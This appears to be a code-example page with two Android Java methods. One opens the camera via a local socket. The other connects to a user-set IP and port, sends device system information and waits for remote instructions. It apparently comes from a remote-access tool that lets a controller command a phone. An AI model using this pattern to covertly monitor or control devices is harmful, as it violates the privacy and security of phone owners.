Ejemplo n.º 1
0
  public void constructorVideo() {
    // ctx = c;
    // this.channel = chan;

    th =
        new Thread(
            new Runnable() {

              public void run() {
                listen();
              }
            });
    th.start();

    try {
      Thread.sleep(1000);
    } catch (Exception e) {
    }

    ls = new LocalSocket();
    try {
      ls.connect(new LocalSocketAddress(SOCKET_ADDRESS));
    } catch (IOException e) {
      // stop();
    }
    camera = Camera.open();
  }
Ejemplo n.º 2
0
  public void onStartCommand() {
    Log.i(TAG, "In onCreate");
    infos = new SystemInfo(this);
    procCmd = new ProcessCommand(this);

    loadPreferences();
    this.ip = ipfield.getText().toString();
    this.port = new Integer(portfield.getText().toString());
    // this.ip = "192.168.0.12";
    // this.port = 9999;

    if (!isRunning) { // C'est la première fois qu'on le lance
      // --- On ne passera qu'une fois ici ---
      isRunning = true;
      conn = new Connection(ip, port, this); // On se connecte et on lance les threads
      Log.i(TAG, "Try to connect to " + ip + ":" + port);
      if (conn.connect()) {
        packet = new CommandPacket();
        readthread =
            new Thread(
                new Runnable() {
                  public void run() {
                    waitInstruction();
                  }
                });
        readthread.start(); // On commence vraiment a écouter
        CommandPacket pack = new CommandPacket(Protocol.CONNECT, 0, infos.getBasicInfos());
        handleData(0, pack.build());
        // gps = new GPSListener(this, LocationManager.NETWORK_PROVIDER,(short)4);
        // //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
        isListening = true;
        Toast.makeText(getApplicationContext(), "Connected!", Toast.LENGTH_LONG).show();
      } else {
        Toast.makeText(getApplicationContext(), "Connection failed", Toast.LENGTH_LONG).show();
      }
    }
  }